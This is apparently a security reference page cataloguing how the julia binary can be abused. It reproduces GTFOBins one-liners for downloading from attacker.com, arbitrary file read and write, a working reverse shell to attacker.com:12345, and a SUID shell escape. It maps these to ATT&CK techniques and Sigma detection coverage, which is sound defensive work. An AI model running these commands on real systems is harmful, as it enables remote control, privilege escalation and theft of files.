CmdID

CmdID / Programs / Linux and Unix

julia

A high-level, high-performance dynamic programming language for technical computing. tldr-pages

GTFOBins download, file-read, file-write, reverse-shell, shell 2 ATT&CK techniques 5 documented commands

Opens CmdID with your command. It is read in your browser and sent nowhere.

How julia is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-e

file-read

-e

file-write

-e

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-e

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for julia.

5 documented commands

from GTFOBins, each read by CmdID

download unprivileged, with sudo, as SUID

julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
Identify

file-read unprivileged, with sudo, as SUID

julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
Identify

file-write unprivileged, with sudo, as SUID

julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
Identify

reverse-shell unprivileged, with sudo, as SUID

julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
Identify

shell unprivileged, with sudo, as SUID

julia -e 'run(`/bin/sh`)'
Identify

As SUID:

julia -e 'run(`/bin/sh -p`)'

None of the 5 commands CmdID reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for julia. CmdID reads the line of each that runs julia.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Start a REPL (interactive shell)

Execute a Julia program and exit

julia program.jlIdentify

Execute a Julia program that takes arguments

julia program.jl argumentsIdentify

None of the 3 examples CmdID reads matches GTFOBins abuse or trips a Sigma process-creation rule.